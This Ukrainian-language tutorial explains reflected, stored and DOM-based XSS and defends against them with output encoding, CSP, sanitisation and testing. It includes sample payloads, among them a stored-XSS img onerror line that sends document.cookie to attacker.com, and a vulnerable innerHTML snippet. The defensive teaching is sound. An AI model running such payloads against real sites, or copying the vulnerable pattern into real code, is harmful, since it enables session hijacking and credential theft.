Міжсайтовий скриптинг (XSS): атака і захист
XSS-атаки впроваджують шкідливі скрипти у вебсторінки для крадіжки токенів сесій. Вивчіть відбитий, збережений і DOM-based XSS на реальних прикладах та методи захисту.
Зміст
Що таке міжсайтовий скриптинг?
Міжсайтовий скриптинг (XSS) є однією з найпоширеніших вразливостей у вебі й десятиліттями займає постійне місце в OWASP Top 10. Основна ідея є простою, але небезпечною: зловмисник знаходить спосіб впровадити шкідливий JavaScript у вебсторінку, яку завантажуватимуть інші користувачі у своїх браузерах. Коли браузер жертви відображає цю сторінку, він виконує скрипт зловмисника з повною довірою домену-відправника — тобто може читати файли cookie, викрадати токени сесій, робити автентифіковані запити, перенаправляти користувачів або непомітно реєструвати натискання клавіш.
XSS не є серверною вразливістю в традиційному розумінні. Сервер є лише механізмом доставки. Експлойт запускається повністю в браузері жертви.
Три типи XSS
Відображений XSS
Відображений XSS виникає, коли введені користувачем дані негайно відображаються у відповіді сервера без санітизації. Класичний приклад — сторінка пошуку:
GET /search?q=<script>alert(document.cookie)</script>
Якщо сервер повертає Ви шукали: <script>alert(document.cookie)</script> без кодування кутових дужок, браузер виконає цей скрипт. Корисне навантаження передається в URL, тобто зловмисник повинен доставити URL жертві — зазвичай через фішингове посилання. Відображений XSS є непостійним: шкідливий скрипт ніде не зберігається, і кожна жертва повинна клацнути на підготовлене посилання.
Збережений XSS
Збережений (або постійний) XSS є значно небезпечнішим. Корисне навантаження зберігається в базі даних застосунку — в коментарі, імені користувача, полі профілю або будь-яких інших збережених введених даних — і подається кожному користувачу, який переглядає цей контент. Одна успішна ін'єкція може скомпрометувати тисячі сесій без подальшої взаємодії зловмисника. Соціальні платформи, форуми та системи управління контентом є поширеними цілями. Корисне навантаження збереженого XSS може виглядати так:
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
Вставлене в поле коментаря, це спрацьовує для кожного користувача, який переглядає сторінку.
DOM-based XSS
DOM-based XSS взагалі не торкається сервера. Вразливість існує повністю у клієнтському JavaScript-коді, який читає з джерела, що контролюється зловмисником (наприклад, location.hash або document.referrer), і записує в небезпечний приймач (наприклад, innerHTML або eval). Приклад:
// Вразливий код
const name = location.hash.slice(1);
document.getElementById('greeting').innerHTML = 'Привіт, ' + name;
Перехід до page.html#<img src=x onerror=alert(1)> запускає корисне навантаження. Оскільки навантаження ніколи не залишає браузер, кодування виводу на стороні сервера не може допомогти — Вам потрібно виправити сам JavaScript.
Що зловмисники можуть зробити за допомогою XSS
XSS — це не просто alert(1). Реальні атаки використовують його для:
- Викрадення файлів cookie сесій та захоплення автентифікованих сесій
- Захоплення облікових даних шляхом впровадження фальшивих форм входу на довірені сторінки
- Виконання CSRF-подібних дій від імені жертви з використанням її автентифікованої сесії
- Розповсюдження шкідливого ПЗ шляхом перенаправлення на набори експлойтів
- Майнінгу криптовалюти непомітно у фоновому режимі
- Кейлогінгу на банківських або електронних комерційних сторінках
Захист: кодування виводу
Основним захистом від XSS є контекстне кодування виводу — екранування символів перед вставкою недовірених даних у HTML-сторінку. Правила кодування відрізняються залежно від контексту:
- Контекст HTML: кодуйте
<,>,&,",'як HTML-сутності - Контекст JavaScript: JSON-кодуйте або використовуйте екранування
\uXXXX - Контекст URL: відсотково кодуйте значення
- Контекст CSS: уникайте вставки даних користувача в блоки стилів, де можливо
Сучасні фреймворки як React, Angular та Vue кодують вивід за замовчуванням. Уникайте використання API сирого HTML, таких як innerHTML, dangerouslySetInnerHTML або v-html, з недовіреними даними.
Захист: Content Security Policy
Content Security Policy (CSP) — це HTTP-заголовок відповіді, який повідомляє браузеру, яким джерелам скриптів дозволено виконуватися. Надійний CSP може запобігти виконанню впроваджених скриптів навіть у разі збою кодування:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'
Використання нонсів (випадкових токенів для кожного запиту на легітимних тегах скриптів) є найбільш ефективним підходом. Уникайте unsafe-inline і unsafe-eval — вони нівелюють більшість переваг CSP. Тестуйте свою політику на csp-evaluator.withgoogle.com.
Захист: валідація та санітизація введення
Валідація введення повинна бути Вашою другою лінією захисту, а не першою. Відхиляйте введення, що не відповідають очікуваним форматам (наприклад, поле email не повинно приймати теги <script>). Коли Вам потрібно дозволити введення багатого HTML (наприклад, WYSIWYG-редактор), використовуйте спеціалізований санітайзер, такий як DOMPurify, а не пишіть власний список дозволених — власні санітайзери надзвичайно легко обійти.
Також встановіть прапор HttpOnly для файлів cookie сесії, щоб запобігти їх читанню JavaScript, обмежуючи шкоду від успішного XSS-експлойту.
Тестування на XSS
Для пошуку XSS у Ваших власних застосунках:
- Нанесіть на карту кожну точку, де введені користувачем дані відображаються або зберігаються (параметри URL, поля форм, HTTP-заголовки, JSON-відповіді)
- Тестуйте кожну точку простим зондом, наприклад
<"'>, і спостерігайте, як кодується вивід - Використовуйте інструменти як Burp Suite, OWASP ZAP або Dalfox для автоматичного сканування
- Перевіряйте DOM-based приймачі вручну, аудіюючи JavaScript на наявність небезпечних шаблонів, таких як
innerHTML,document.writeіeval
Знахідки XSS завжди слід вважати критичними у програмах bug bounty та пентестах — можливість виконувати довільний JavaScript у контексті браузера жертви є надзвичайно потужним примітивом.